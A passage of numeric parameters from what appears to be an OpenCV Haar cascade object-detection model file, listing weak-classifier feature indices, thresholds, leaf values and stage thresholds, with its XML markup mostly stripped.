+ <_> + + 0 -1 1458 -6.1630001291632652e-03 + + -5.4072898626327515e-01 2.3885700106620789e-01 + <_> + + 0 -1 1459 -2.0436000078916550e-02 + + 6.3355398178100586e-01 -2.1090599894523621e-01 + <_> + + 0 -1 1460 -1.2307999655604362e-02 + + -4.9778199195861816e-01 1.7402599751949310e-01 + <_> + + 0 -1 1461 -4.0493998676538467e-02 + + -1.1848740577697754e+00 -3.3890999853610992e-02 + <_> + + 0 -1 1462 2.9657000675797462e-02 + + 2.1740999072790146e-02 1.0069919824600220e+00 + <_> + + 0 -1 1463 6.8379999138414860e-03 + + 2.9217999428510666e-02 -5.9906297922134399e-01 + <_> + + 0 -1 1464 1.6164999455213547e-02 + + -2.1000799536705017e-01 3.7637299299240112e-01 + <_> + + 0 -1 1465 5.0193000584840775e-02 + + 2.5319999549537897e-03 -7.1668201684951782e-01 + <_> + + 0 -1 1466 1.9680000841617584e-03 + + -2.1921400725841522e-01 3.2298699021339417e-01 + <_> + + 0 -1 1467 2.4979999288916588e-02 + + -9.6840001642704010e-03 -7.7572900056838989e-01 + <_> + + 0 -1 1468 -1.5809999778866768e-02 + + 4.4637501239776611e-01 -6.1760000884532928e-02 + <_> + + 0 -1 1469 3.7206999957561493e-02 + + -2.0495399832725525e-01 5.7722198963165283e-01 + <_> + + 0 -1 1470 -7.9264998435974121e-02 + + -7.6745402812957764e-01 1.2550400197505951e-01 + <_> + + 0 -1 1471 -1.7152000218629837e-02 + + -1.4121830463409424e+00 -5.1704000681638718e-02 + <_> + + 0 -1 1472 3.2740000635385513e-02 + + 1.9334000349044800e-01 -6.3633698225021362e-01 + <_> + + 0 -1 1473 -1.1756999790668488e-01 + + 8.4325402975082397e-01 -1.8018600344657898e-01 + <_> + + 0 -1 1474 1.2057200074195862e-01 + + 1.2530000507831573e-01 -2.1213600635528564e+00 + <_> + + 0 -1 1475 4.2779999785125256e-03 + + -4.6604400873184204e-01 8.9643999934196472e-02 + <_> + + 0 -1 1476 -7.2544999420642853e-02 + + 5.1826500892639160e-01 1.6823999583721161e-02 + <_> + + 0 -1 1477 1.7710599303245544e-01 + + -3.0910000205039978e-02 -1.1046639680862427e+00 + <_> + + 0 -1 1478 8.4229996427893639e-03 + + 2.4445800483226776e-01 -3.8613098859786987e-01 + <_> + + 0 -1 1479 -1.3035000301897526e-02 + + 9.8004400730133057e-01 -1.7016500234603882e-01 + <_> + + 0 -1 1480 1.8912000581622124e-02 + + 2.0248499512672424e-01 -3.8545900583267212e-01 + <_> + + 0 -1 1481 2.1447999402880669e-02 + + -2.5717198848724365e-01 3.5181200504302979e-01 + <_> + + 0 -1 1482 6.3357003033161163e-02 + + 1.6994799673557281e-01 -9.1383802890777588e-01 + <_> + + 0 -1 1483 -3.2435998320579529e-02 + + -8.5681599378585815e-01 -2.1680999547243118e-02 + <_> + + 0 -1 1484 -2.3564999923110008e-02 + + 5.6115597486495972e-01 -2.2400000307243317e-04 + <_> + + 0 -1 1485 1.8789000809192657e-02 + + -2.5459799170494080e-01 3.4512901306152344e-01 + <_> + + 0 -1 1486 3.1042000278830528e-02 + + 7.5719999149441719e-03 3.4800198674201965e-01 + <_> + + 0 -1 1487 -1.1226999573409557e-02 + + -6.0219800472259521e-01 4.2814999818801880e-02 + <_> + + 0 -1 1488 -1.2845999561250210e-02 + + 4.2020401358604431e-01 -5.3801000118255615e-02 + <_> + + 0 -1 1489 -1.2791999615728855e-02 + + 2.2724500298500061e-01 -3.2398000359535217e-01 + <_> + + 0 -1 1490 6.8651996552944183e-02 + + 9.3532003462314606e-02 10. + <_> + + 0 -1 1491 5.2789999172091484e-03 + + -2.6926299929618835e-01 3.3303201198577881e-01 + <_> + + 0 -1 1492 -3.8779001682996750e-02 + + -7.2365301847457886e-01 1.7806500196456909e-01 + <_> + + 0 -1 1493 6.1820000410079956e-03 + + -3.5119399428367615e-01 1.6586300730705261e-01 + <_> + + 0 -1 1494 1.7515200376510620e-01 + + 1.1623100191354752e-01 -1.5419290065765381e+00 + <_> + + 0 -1 1495 1.1627999693155289e-01 + + -9.1479998081922531e-03 -9.9842602014541626e-01 + <_> + + 0 -1 1496 -2.2964000701904297e-02 + + 2.0565399527549744e-01 1.5432000160217285e-02 + <_> + + 0 -1 1497 -5.1410000771284103e-02 + + 5.8072400093078613e-01 -2.0118400454521179e-01 + <_> + + 0 -1 1498 2.2474199533462524e-01 + + 1.8728999421000481e-02 1.0829299688339233e+00 + <_> + + 0 -1 1499 9.4860000535845757e-03 + + -3.3171299099922180e-01 1.9902999699115753e-01 + <_> + + 0 -1 1500 -1.1846300214529037e-01 + + 1.3711010217666626e+00 6.8926997482776642e-02 + <_> + + 0 -1 1501 3.7810999900102615e-02 + + -9.3600002583116293e-04 -8.3996999263763428e-01 + <_> + + 0 -1 1502 2.2202000021934509e-02 + + -1.1963999830186367e-02 3.6673998832702637e-01 + <_> + + 0 -1 1503 -3.6366000771522522e-02 + + 3.7866500020027161e-01 -2.7714800834655762e-01 + <_> + + 0 -1 1504 -1.3184699416160583e-01 + + -2.7481179237365723e+00 1.0666900128126144e-01 + <_> + + 0 -1 1505 -4.1655998677015305e-02 + + 4.7524300217628479e-01 -2.3249800503253937e-01 + <_> + + 0 -1 1506 -3.3151999115943909e-02 + + -5.7929402589797974e-01 1.7434400320053101e-01 + <_> + + 0 -1 1507 1.5769999474287033e-02 + + -1.1284000240266323e-02 -8.3701401948928833e-01 + <_> + + 0 -1 1508 -3.9363000541925430e-02 + + 3.4821599721908569e-01 -1.7455400526523590e-01 + <_> + + 0 -1 1509 -6.7849002778530121e-02 + + 1.4225699901580811e+00 -1.4765599370002747e-01 + <_> + + 0 -1 1510 -2.6775000616908073e-02 + + 2.3947000503540039e-01 1.3271999545395374e-02 + <_> + + 0 -1 1511 3.9919000118970871e-02 + + -8.9999996125698090e-03 -7.5938898324966431e-01 + <_> + + 0 -1 1512 1.0065600275993347e-01 + + -1.8685000017285347e-02 7.6245301961898804e-01 + <_> + + 0 -1 1513 -8.1022001802921295e-02 + + -9.0439099073410034e-01 -8.5880002006888390e-03 + <_> + + 0 -1 1514 -2.1258000284433365e-02 + + -2.1319599449634552e-01 2.1919700503349304e-01 + <_> + + 0 -1 1515 -1.0630999691784382e-02 + + 1.9598099589347839e-01 -3.5768100619316101e-01 + <_> + + 0 -1 1516 8.1300002057105303e-04 + + -9.2794999480247498e-02 2.6145899295806885e-01 + <_> + + 0 -1 1517 3.4650000743567944e-03 + + -5.5336099863052368e-01 2.7386000379920006e-02 + <_> + + 0 -1 1518 1.8835999071598053e-02 + + 1.8446099758148193e-01 -6.6934299468994141e-01 + <_> + + 0 -1 1519 -2.5631999596953392e-02 + + 1.9382879734039307e+00 -1.4708900451660156e-01 + <_> + + 0 -1 1520 -4.0939999744296074e-03 + + -2.6451599597930908e-01 2.0733200013637543e-01 + <_> + + 0 -1 1521 -8.9199998183175921e-04 + + -5.5031597614288330e-01 5.0374999642372131e-02 + <_> + + 0 -1 1522 -4.9518000334501266e-02 + + -2.5615389347076416e+00 1.3141700625419617e-01 + <_> + + 0 -1 1523 1.1680999770760536e-02 + + -2.4819800257682800e-01 3.9982700347900391e-01 + <_> + + 0 -1 1524 3.4563999623060226e-02 + + 1.6178800165653229e-01 -7.1418899297714233e-01 + <_> + + 0 -1 1525 -8.2909995689988136e-03 + + 2.2180099785327911e-01 -2.9181700944900513e-01 + <_> + + 0 -1 1526 -2.2358000278472900e-02 + + 3.1044098734855652e-01 -2.7280000504106283e-03 + <_> + + 0 -1 1527 -3.0801000073552132e-02 + + -9.5672702789306641e-01 -8.3400001749396324e-03 + <_> + + 0 -1 1528 4.3779000639915466e-02 + + 1.2556900084018707e-01 -1.1759619712829590e+00 + <_> + + 0 -1 1529 4.3046001344919205e-02 + + -5.8876998722553253e-02 -1.8568470478057861e+00 + <_> + + 0 -1 1530 2.7188999578356743e-02 + + 4.2858000844717026e-02 3.9036700129508972e-01 + <_> + + 0 -1 1531 9.4149997457861900e-03 + + -4.3567001819610596e-02 -1.1094470024108887e+00 + <_> + + 0 -1 1532 9.4311997294425964e-02 + + 4.0256999433040619e-02 9.8442298173904419e-01 + <_> + + 0 -1 1533 1.7025099694728851e-01 + + 2.9510000720620155e-02 -6.9509297609329224e-01 + <_> + + 0 -1 1534 -4.7148000448942184e-02 + + 1.0338569879531860e+00 6.7602001130580902e-02 + <_> + + 0 -1 1535 1.1186300218105316e-01 + + -6.8682998418807983e-02 -2.4985830783843994e+00 + <_> + + 0 -1 1536 -1.4353999868035316e-02 + + -5.9481900930404663e-01 1.5001699328422546e-01 + <_> + + 0 -1 1537 3.4024000167846680e-02 + + -6.4823001623153687e-02 -2.1382639408111572e+00 + <_> + + 0 -1 1538 2.1601999178528786e-02 + + 5.5309999734163284e-02 7.8292900323867798e-01 + <_> + + 0 -1 1539 2.1771999076008797e-02 + + -7.1279997937381268e-03 -7.2148102521896362e-01 + <_> + + 0 -1 1540 8.2416996359825134e-02 + + 1.4609499275684357e-01 -1.3636670112609863e+00 + <_> + + 0 -1 1541 8.4671996533870697e-02 + + -1.7784699797630310e-01 7.2857701778411865e-01 + <_> + + 0 -1 1542 -5.5128000676631927e-02 + + -5.9402400255203247e-01 1.9357800483703613e-01 + <_> + + 0 -1 1543 -6.4823001623153687e-02 + + -1.0783840417861938e+00 -4.0734000504016876e-02 + <_> + + 0 -1 1544 -2.2769000381231308e-02 + + 7.7900201082229614e-01 3.4960000775754452e-03 + <_> + + 0 -1 1545 5.4756000638008118e-02 + + -6.5683998167514801e-02 -1.8188409805297852e+00 + <_> + + 0 -1 1546 -8.9000001025851816e-05 + + -1.7891999334096909e-02 2.0768299698829651e-01 + <_> + + 0 -1 1547 9.8361998796463013e-02 + + -5.5946998298168182e-02 -1.4153920412063599e+00 + <_> + + 0 -1 1548 -7.0930002257227898e-03 + + 3.4135299921035767e-01 -1.2089899927377701e-01 + <_> + + 0 -1 1549 5.0278000533580780e-02 + + -2.6286700367927551e-01 2.5797298550605774e-01 + <_> + + 0 -1 1550 -5.7870000600814819e-03 + + -1.3178600370883942e-01 1.7350199818611145e-01 + <_> + + 0 -1 1551 1.3973999768495560e-02 + + 2.8518000617623329e-02 -6.1152201890945435e-01 + <_> + + 0 -1 1552 2.1449999883770943e-02 + + 2.6181999593973160e-02 3.0306598544120789e-01 + <_> + + 0 -1 1553 -2.9214000329375267e-02 + + 4.4940599799156189e-01 -2.2803099453449249e-01 + <_> + + 0 -1 1554 4.8099999548867345e-04 + + -1.9879999756813049e-01 2.0744499564170837e-01 + <_> + + 0 -1 1555 1.7109999898821115e-03 + + -5.4037201404571533e-01 6.7865997552871704e-02 + <_> + + 0 -1 1556 8.6660003289580345e-03 + + -1.3128000311553478e-02 5.2297902107238770e-01 + <_> + + 0 -1 1557 6.3657999038696289e-02 + + 6.8299002945423126e-02 -4.9235099554061890e-01 + <_> + + 0 -1 1558 -2.7968000620603561e-02 + + 6.8183898925781250e-01 7.8781001269817352e-02 + <_> + + 0 -1 1559 4.8953998833894730e-02 + + -2.0622399449348450e-01 5.0388097763061523e-01 + <_> + 169 + -3.2396929264068604e+00 + + <_> + + 0 -1 1560 -2.9312999919056892e-02 + + 7.1284699440002441e-01 -5.8230698108673096e-01 + <_> + + 0 -1 1561 1.2415099889039993e-01 + + -3.6863499879837036e-01 6.0067200660705566e-01 + <_> + + 0 -1 1562 7.9349996522068977e-03 + + -8.6008298397064209e-01 2.1724699437618256e-01 + <_> + + 0 -1 1563 3.0365999788045883e-02 + + -2.7186998724937439e-01 6.1247897148132324e-01 + <_> + + 0 -1 1564 2.5218000635504723e-02 + + -3.4748300909996033e-01 5.0427699089050293e-01 + <_> + + 0 -1 1565 1.0014000348746777e-02 + + -3.1898999214172363e-01 4.1376799345016479e-01 + <_> + + 0 -1 1566 -1.6775000840425491e-02 + + -6.9048100709915161e-01 9.4830997288227081e-02 + <_> + + 0 -1 1567 -2.6950000319629908e-03 + + -2.0829799771308899e-01 2.3737199604511261e-01 + <_> + + 0 -1 1568 4.2257998138666153e-02 + + -4.9366700649261475e-01 1.8170599639415741e-01 + <_> + + 0 -1 1569 -4.8505000770092010e-02 + + 1.3429640531539917e+00 3.9769001305103302e-02 + <_> + + 0 -1 1570 2.8992999345064163e-02 + + 4.6496000140905380e-02 -8.1643497943878174e-01 + <_> + + 0 -1 1571 -4.0089000016450882e-02 + + -7.1197801828384399e-01 2.2553899884223938e-01 + <_> + + 0 -1 1572 -4.1021998971700668e-02 + + 1.0057929754257202e+00 -1.9690200686454773e-01 + <_> + + 0 -1 1573 1.1838000267744064e-02 + + -1.2600000016391277e-02 8.0767101049423218e-01 + <_> + + 0 -1 1574 -2.1328000351786613e-02 + + -8.2023900747299194e-01 2.0524999126791954e-02 + <_> + + 0 -1 1575 -2.3904999718070030e-02 + + 5.4210501909255981e-01 -7.4767000973224640e-02 + <_> + + 0 -1 1576 1.8008999526500702e-02 + + -3.3827701210975647e-01 4.2358601093292236e-01 + <_> + + 0 -1 1577 -4.3614000082015991e-02 + + -1.1983489990234375e+00 1.5566200017929077e-01 + <_> + + 0 -1 1578 -9.2449998483061790e-03 + + -8.9029997587203979e-01 1.1003999970853329e-02 + <_> + + 0 -1 1579 4.7485001385211945e-02 + + 1.6664099693298340e-01 -9.0764498710632324e-01 + <_> + + 0 -1 1580 -1.4233999885618687e-02 + + 6.2695199251174927e-01 -2.5791200995445251e-01 + <_> + + 0 -1 1581 3.8010000716894865e-03 + + -2.8229999542236328e-01 2.6624599099159241e-01 + <_> + + 0 -1 1582 3.4330000635236502e-03 + + -6.3771998882293701e-01 9.8422996699810028e-02 + <_> + + 0 -1 1583 -2.9221000149846077e-02 + + -7.6769900321960449e-01 2.2634500265121460e-01 + <_> + + 0 -1 1584 -6.4949998632073402e-03 + + 4.5600101351737976e-01 -2.6528900861740112e-01 + <_> + + 0 -1 1585 -3.0034000054001808e-02 + + -7.6551097631454468e-01 1.4009299874305725e-01 + <_> + + 0 -1 1586 7.8360000625252724e-03 + + 4.6755999326705933e-02 -7.2356200218200684e-01 + <_> + + 0 -1 1587 8.8550001382827759e-03 + + -4.9141999334096909e-02 5.1472699642181396e-01 + <_> + + 0 -1 1588 9.5973998308181763e-02 + + -2.0068999379873276e-02 -1.0850950479507446e+00 + <_> + + 0 -1 1589 -3.2876998186111450e-02 + + -9.5875298976898193e-01 1.4543600380420685e-01 + <_> + + 0 -1 1590 -1.3384000398218632e-02 + + -7.0013600587844849e-01 2.9157999902963638e-02 + <_> + + 0 -1 1591 1.5235999599099159e-02 + + -2.8235700726509094e-01 2.5367999076843262e-01 + <_> + + 0 -1 1592 1.2054000049829483e-02 + + -2.5303399562835693e-01 4.6526700258255005e-01 + <_> + + 0 -1 1593 -7.6295003294944763e-02 + + -6.9915801286697388e-01 1.3217200338840485e-01 + <_> + + 0 -1 1594 -1.2040000408887863e-02 + + 4.5894598960876465e-01 -2.3856499791145325e-01 + <_> + + 0 -1 1595 2.1916000172495842e-02 + + 1.8268600106239319e-01 -6.1629700660705566e-01 + <_> + + 0 -1 1596 -2.7330000884830952e-03 + + -6.3257902860641479e-01 3.4219000488519669e-02 + <_> + + 0 -1 1597 -4.8652000725269318e-02 + + -1.0297729969024658e+00 1.7386500537395477e-01 + <_> + + 0 -1 1598 -1.0463999584317207e-02 + + 3.4757301211357117e-01 -2.7464100718498230e-01 + <_> + + 0 -1 1599 -6.6550001502037048e-03 + + -2.8980299830436707e-01 2.4037900567054749e-01 + <_> + + 0 -1 1600 8.5469996556639671e-03 + + -4.4340500235557556e-01 1.4267399907112122e-01 + <_> + + 0 -1 1601 1.9913999363780022e-02 + + 1.7740400135517120e-01 -2.4096299707889557e-01 + <_> + + 0 -1 1602 2.2012999281287193e-02 + + -1.0812000371515751e-02 -9.4690799713134766e-01 + <_> + + 0 -1 1603 -5.2179001271724701e-02 + + 1.6547499895095825e+00 9.6487000584602356e-02 + <_> + + 0 -1 1604 1.9698999822139740e-02 + + -6.7560002207756042e-03 -8.6311501264572144e-01 + <_> + + 0 -1 1605 2.3040000349283218e-02 + + -2.3519999813288450e-03 3.8531300425529480e-01 + <_> + + 0 -1 1606 -1.5038000419735909e-02 + + -6.1905699968338013e-01 3.1077999621629715e-02 + <_> + + 0 -1 1607 -4.9956001341342926e-02 + + 7.0657497644424438e-01 4.7880999743938446e-02 + <_> + + 0 -1 1608 -6.9269999861717224e-02 + + 3.9212900400161743e-01 -2.3848000168800354e-01 + <_> + + 0 -1 1609 4.7399997711181641e-03 + + -2.4309000000357628e-02 2.5386300683021545e-01 + <_> + + 0 -1 1610 -3.3923998475074768e-02 + + 4.6930399537086487e-01 -2.3321899771690369e-01 + <_> + + 0 -1 1611 -1.6231000423431396e-02 + + 3.2319200038909912e-01 -2.0545600354671478e-01 + <_> + + 0 -1 1612 -5.0193000584840775e-02 + + -1.2277870178222656e+00 -4.0798000991344452e-02 + <_> + + 0 -1 1613 5.6944001466035843e-02 + + 4.5184001326560974e-02 6.0197502374649048e-01 + <_> + + 0 -1 1614 4.0936999022960663e-02 + + -1.6772800683975220e-01 8.9819300174713135e-01 + <_> + + 0 -1 1615 -3.0839999672025442e-03 + + 3.3716198801994324e-01 -2.7240800857543945e-01 + <_> + + 0 -1 1616 -3.2600000500679016e-02 + + -8.5446500778198242e-01 1.9664999097585678e-02 + <_> + + 0 -1 1617 9.8480999469757080e-02 + + 5.4742000997066498e-02 6.3827300071716309e-01 + <_> + + 0 -1 1618 -3.8185000419616699e-02 + + 5.2274698019027710e-01 -2.3384800553321838e-01 + <_> + + 0 -1 1619 -4.5917000621557236e-02 + + 6.2829202413558960e-01 3.2859001308679581e-02 + <_> + + 0 -1 1620 -1.1955499649047852e-01 + + -6.1572700738906860e-01 3.4680001437664032e-02 + <_> + + 0 -1 1621 -1.2044399976730347e-01 + + -8.4380000829696655e-01 1.6530700027942657e-01 + <_> + + 0 -1 1622 7.0619001984596252e-02 + + -6.3261002302169800e-02 -1.9863929748535156e+00 + <_> + + 0 -1 1623 8.4889996796846390e-03 + + -1.7663399875164032e-01 3.8011199235916138e-01 + <_> + + 0 -1 1624 2.2710999473929405e-02 + + -2.7605999261140823e-02 -9.1921401023864746e-01 + <_> + + 0 -1 1625 4.9700000090524554e-04 + + -2.4293200671672821e-01 2.2878900170326233e-01 + <_> + + 0 -1 1626 3.4651998430490494e-02 + + -2.3705999553203583e-01 5.4010999202728271e-01 + <_> + + 0 -1 1627 -4.4700000435113907e-03 + + 3.9078998565673828e-01 -1.2693800032138824e-01 + <_> + + 0 -1 1628 2.3643000051379204e-02 + + -2.6663699746131897e-01 3.2312598824501038e-01 + <_> + + 0 -1 1629 1.2813000008463860e-02 + + 1.7540800571441650e-01 -6.0787999629974365e-01 + <_> + + 0 -1 1630 -1.1250999756157398e-02 + + -1.0852589607238770e+00 -2.8046000748872757e-02 + <_> + + 0 -1 1631 -4.1535001248121262e-02 + + 7.1887397766113281e-01 2.7982000261545181e-02 + <_> + + 0 -1 1632 -9.3470998108386993e-02 + + -1.1906319856643677e+00 -4.4810999184846878e-02 + <_> + + 0 -1 1633 -2.7249999344348907e-02 + + 6.2942498922348022e-01 9.5039997249841690e-03 + <_> + + 0 -1 1634 -2.1759999915957451e-02 + + 1.3233649730682373e+00 -1.5027000010013580e-01 + <_> + + 0 -1 1635 -9.6890004351735115e-03 + + -3.3947101235389709e-01 1.7085799574851990e-01 + <_> + + 0 -1 1636 6.9395996630191803e-02 + + -2.5657799839973450e-01 4.7652098536491394e-01 + <_> + + 0 -1 1637 3.1208999454975128e-02 + + 1.4154000580310822e-01 -3.4942001104354858e-01 + <_> + + 0 -1 1638 -4.9727000296115875e-02 + + -1.1675560474395752e+00 -4.0757998824119568e-02 + <_> + + 0 -1 1639 -2.0301999524235725e-02 + + -3.9486399292945862e-01 1.5814900398254395e-01 + <_> + + 0 -1 1640 -1.5367000363767147e-02 + + 4.9300000071525574e-01 -2.0092099905014038e-01 + <_> + + 0 -1 1641 -5.0735000520944595e-02 + + 1.8736059665679932e+00 8.6730003356933594e-02 + <_> + + 0 -1 1642 -2.0726000890135765e-02 + + -8.8938397169113159e-01 -7.3199998587369919e-03 + <_> + + 0 -1 1643 -3.0993999913334846e-02 + + -1.1664899587631226e+00 1.4274600148200989e-01 + <_> + + 0 -1 1644 -4.4269999489188194e-03 + + -6.6815102100372314e-01 4.4120000675320625e-03 + <_> + + 0 -1 1645 -4.5743998140096664e-02 + + -4.7955200076103210e-01 1.5121999382972717e-01 + <_> + + 0 -1 1646 1.6698999330401421e-02 + + 1.2048599869012833e-01 -4.5235899090766907e-01 + <_> + + 0 -1 1647 3.2210000790655613e-03 + + -7.7615000307559967e-02 2.7846598625183105e-01 + <_> + + 0 -1 1648 2.4434000253677368e-02 + + -1.9987100362777710e-01 6.7253702878952026e-01 + <_> + + 0 -1 1649 -7.9677999019622803e-02 + + 9.2222398519515991e-01 9.2557996511459351e-02 + <_> + + 0 -1 1650 4.4530000537633896e-02 + + -2.6690500974655151e-01 3.3320501446723938e-01 + <_> + + 0 -1 1651 -1.2528300285339355e-01 + + -5.4253101348876953e-01 1.3976299762725830e-01 + <_> + + 0 -1 1652 1.7971999943256378e-02 + + 1.8219999969005585e-02 -6.8048501014709473e-01 + <_> + + 0 -1 1653 1.9184000790119171e-02 + + -1.2583999894559383e-02 5.4126697778701782e-01 + <_> + + 0 -1 1654 4.0024001151323318e-02 + + -1.7638799548149109e-01 7.8810399770736694e-01 + <_> + + 0 -1 1655 1.3558999635279179e-02 + + 2.0737600326538086e-01 -4.7744300961494446e-01 + <_> + + 0 -1 1656 1.6220999881625175e-02 + + 2.3076999932527542e-02 -6.1182099580764771e-01 + <_> + + 0 -1 1657 1.1229000054299831e-02 + + -1.7728000879287720e-02 4.1764199733734131e-01 + <_> + + 0 -1 1658 3.9193000644445419e-02 + + -1.8948499858379364e-01 7.4019300937652588e-01 + <_> + + 0 -1 1659 -9.5539996400475502e-03 + + 4.0947100520133972e-01 -1.3508899509906769e-01 + <_> + + 0 -1 1660 2.7878999710083008e-02 + + -2.0350700616836548e-01 6.1625397205352783e-01 + <_> + + 0 -1 1661 -2.3600999265909195e-02 + + -1.6967060565948486e+00 1.4633199572563171e-01 + <_> + + 0 -1 1662 2.6930000633001328e-02 + + -3.0401999130845070e-02 -1.0909470319747925e+00 + <_> + + 0 -1 1663 2.8999999631196260e-04 + + -2.0076000690460205e-01 2.2314099967479706e-01 + <_> + + 0 -1 1664 -4.1124999523162842e-02 + + -4.5242199301719666e-01 5.7392001152038574e-02 + <_> + + 0 -1 1665 6.6789998672902584e-03 + + 2.3824900388717651e-01 -2.1262100338935852e-01 + <_> + + 0 -1 1666 4.7864999622106552e-02 + + -1.8194800615310669e-01 6.1918401718139648e-01 + <_> + + 0 -1 1667 -3.1679999083280563e-03 + + -2.7393200993537903e-01 2.5017300248146057e-01 + <_> + + 0 -1 1668 -8.6230002343654633e-03 + + -4.6280300617218018e-01 4.2397998273372650e-02 + <_> + + 0 -1 1669 -7.4350000359117985e-03 + + 4.1796800494194031e-01 -1.7079999670386314e-03 + <_> + + 0 -1 1670 -1.8769999733194709e-03 + + 1.4602300524711609e-01 -3.3721101284027100e-01 + <_> + + 0 -1 1671 -8.6226001381874084e-02 + + 7.5143402814865112e-01 1.0711999610066414e-02 + <_> + + 0 -1 1672 4.6833999454975128e-02 + + -1.9119599461555481e-01 4.8414900898933411e-01 + <_> + + 0 -1 1673 -9.2000002041459084e-05 + + 3.5220399498939514e-01 -1.7333300411701202e-01 + <_> + + 0 -1 1674 -1.6343999654054642e-02 + + -6.4397698640823364e-01 9.0680001303553581e-03 + <_> + + 0 -1 1675 4.5703999698162079e-02 + + 1.8216000869870186e-02 3.1970798969268799e-01 + <_> + + 0 -1 1676 -2.7382999658584595e-02 + + 1.0564049482345581e+00 -1.7276400327682495e-01 + <_> + + 0 -1 1677 -2.7602000162005424e-02 + + 2.9715499281883240e-01 -9.4600003212690353e-03 + <_> + + 0 -1 1678 7.6939999125897884e-03 + + -2.1660299599170685e-01 4.7385200858116150e-01 + <_> + + 0 -1 1679 -7.0500001311302185e-04 + + 2.4048799276351929e-01 -2.6776000857353210e-01 + <_> + + 0 -1 1680 1.1054199934005737e-01 + + -3.3539000898599625e-02 -1.0233880281448364e+00 + <_> + + 0 -1 1681 6.8765997886657715e-02 + + -4.3239998631179333e-03 5.7153397798538208e-01 + <_> + + 0 -1 1682 1.7999999690800905e-03 + + 7.7574998140335083e-02 -4.2092698812484741e-01 + <_> + + 0 -1 1683 1.9232000410556793e-01 + + 8.2021996378898621e-02 2.8810169696807861e+00 + <_> + + 0 -1 1684 1.5742099285125732e-01 + + -1.3708199560642242e-01 2.0890059471130371e+00 + <_> + + 0 -1 1685 -4.9387000501155853e-02 + + -1.8610910177230835e+00 1.4332099258899689e-01 + <_> + + 0 -1 1686 5.1929000765085220e-02 + + -1.8737000226974487e-01 5.4231601953506470e-01 + <_> + + 0 -1 1687 4.9965001642704010e-02 + + 1.4175300300121307e-01 -1.5625779628753662e+00 + <_> + + 0 -1 1688 -4.2633000761270523e-02 + + 1.6059479713439941e+00 -1.4712899923324585e-01 + <_> + + 0 -1 1689 -3.7553999572992325e-02 + + -8.0974900722503662e-01 1.3256999850273132e-01 + <_> + + 0 -1 1690 -3.7174999713897705e-02 + + -1.3945020437240601e+00 -5.7055000215768814e-02 + <_> + + 0 -1 1691 1.3945999555289745e-02 + + 3.3427000045776367e-02 5.7474797964096069e-01 + <_> + + 0 -1 1692 -4.4800000614486635e-04 + + -5.5327498912811279e-01 2.1952999755740166e-02 + <_> + + 0 -1 1693 3.1993001699447632e-02 + + 2.0340999588370323e-02 3.7459200620651245e-01 + <_> + + 0 -1 1694 -4.2799999937415123e-03 + + 4.4428700208663940e-01 -2.2999699413776398e-01 + <_> + + 0 -1 1695 9.8550003021955490e-03 + + 1.8315799534320831e-01 -4.0964999794960022e-01 + <_> + + 0 -1 1696 9.3356996774673462e-02 + + -6.3661001622676849e-02 -1.6929290294647217e+00 + <_> + + 0 -1 1697 1.7209999263286591e-02 + + 2.0153899490833282e-01 -4.6061098575592041e-01 + <_> + + 0 -1 1698 8.4319999441504478e-03 + + -3.2003998756408691e-01 1.5312199294567108e-01 + <_> + + 0 -1 1699 -1.4054999686777592e-02 + + 8.6882400512695312e-01 3.2575000077486038e-02 + <_> + + 0 -1 1700 -7.7180000953376293e-03 + + 6.3686698675155640e-01 -1.8425500392913818e-01 + <_> + + 0 -1 1701 2.8005000203847885e-02 + + 1.7357499897480011e-01 -4.7883599996566772e-01 + <_> + + 0 -1 1702 -1.8884999677538872e-02 + + 2.4101600050926208e-01 -2.6547598838806152e-01 + <_> + + 0 -1 1703 -1.8585000187158585e-02 + + 5.4232501983642578e-01 5.3633000701665878e-02 + <_> + + 0 -1 1704 -3.6437001079320908e-02 + + 2.3908898830413818e+00 -1.3634699583053589e-01 + <_> + + 0 -1 1705 3.2455001026391983e-02 + + 1.5910699963569641e-01 -6.7581498622894287e-01 + <_> + + 0 -1 1706 5.9781998395919800e-02 + + -2.3479999508708715e-03 -7.3053699731826782e-01 + <_> + + 0 -1 1707 9.8209995776414871e-03 + + -1.1444099992513657e-01 3.0570301413536072e-01 + <_> + + 0 -1 1708 -3.5163998603820801e-02 + + -1.0511469841003418e+00 -3.3103000372648239e-02 + <_> + + 0 -1 1709 2.7429999317973852e-03 + + -2.0135399699211121e-01 3.2754099369049072e-01 + <_> + + 0 -1 1710 8.1059997901320457e-03 + + -2.1383500099182129e-01 4.3362098932266235e-01 + <_> + + 0 -1 1711 8.8942997157573700e-02 + + 1.0940899699926376e-01 -4.7609338760375977e+00 + <_> + + 0 -1 1712 -3.0054999515414238e-02 + + -1.7169300317764282e+00 -6.0919001698493958e-02 + <_> + + 0 -1 1713 -2.1734999492764473e-02 + + 6.4778900146484375e-01 -3.2830998301506042e-02 + <_> + + 0 -1 1714 3.7648998200893402e-02 + + -1.0060000233352184e-02 -7.6569098234176636e-01 + <_> + + 0 -1 1715 2.7189999818801880e-03 + + 1.9888900220394135e-01 -8.2479000091552734e-02 + <_> + + 0 -1 1716 -1.0548000223934650e-02 + + -8.6613601446151733e-01 -2.5986000895500183e-02 + <_> + + 0 -1 1717 1.2966300547122955e-01 + + 1.3911999762058258e-01 -2.2271950244903564e+00 + <_> + + 0 -1 1718 -1.7676999792456627e-02 + + 3.3967700600624084e-01 -2.3989599943161011e-01 + <_> + + 0 -1 1719 -7.7051997184753418e-02 + + -2.5017969608306885e+00 1.2841999530792236e-01 + <_> + + 0 -1 1720 -1.9230000674724579e-02 + + 5.0641202926635742e-01 -1.9751599431037903e-01 + <_> + + 0 -1 1721 -5.1222998648881912e-02 + + -2.9333369731903076e+00 1.3858500123023987e-01 + <_> + + 0 -1 1722 2.0830000285059214e-03 + + -6.0043597221374512e-01 2.9718000441789627e-02 + <_> + + 0 -1 1723 2.5418000295758247e-02 + + 3.3915799856185913e-01 -1.4392000436782837e-01 + <_> + + 0 -1 1724 -2.3905999958515167e-02 + + -1.1082680225372314e+00 -4.7377001494169235e-02 + <_> + + 0 -1 1725 -6.3740001060068607e-03 + + 4.4533699750900269e-01 -6.7052997648715973e-02 + <_> + + 0 -1 1726 -3.7698999047279358e-02 + + -1.0406579971313477e+00 -4.1790001094341278e-02 + <_> + + 0 -1 1727 2.1655100584030151e-01 + + 3.3863000571727753e-02 8.2017302513122559e-01 + <_> + + 0 -1 1728 -1.3400999829173088e-02 + + 5.2903497219085693e-01 -1.9133000075817108e-01 + <_> + 196 + -3.2103500366210938e+00 + + <_> + + 0 -1 1729 7.1268998086452484e-02 + + -5.3631198406219482e-01 6.0715299844741821e-01 + <_> + + 0 -1 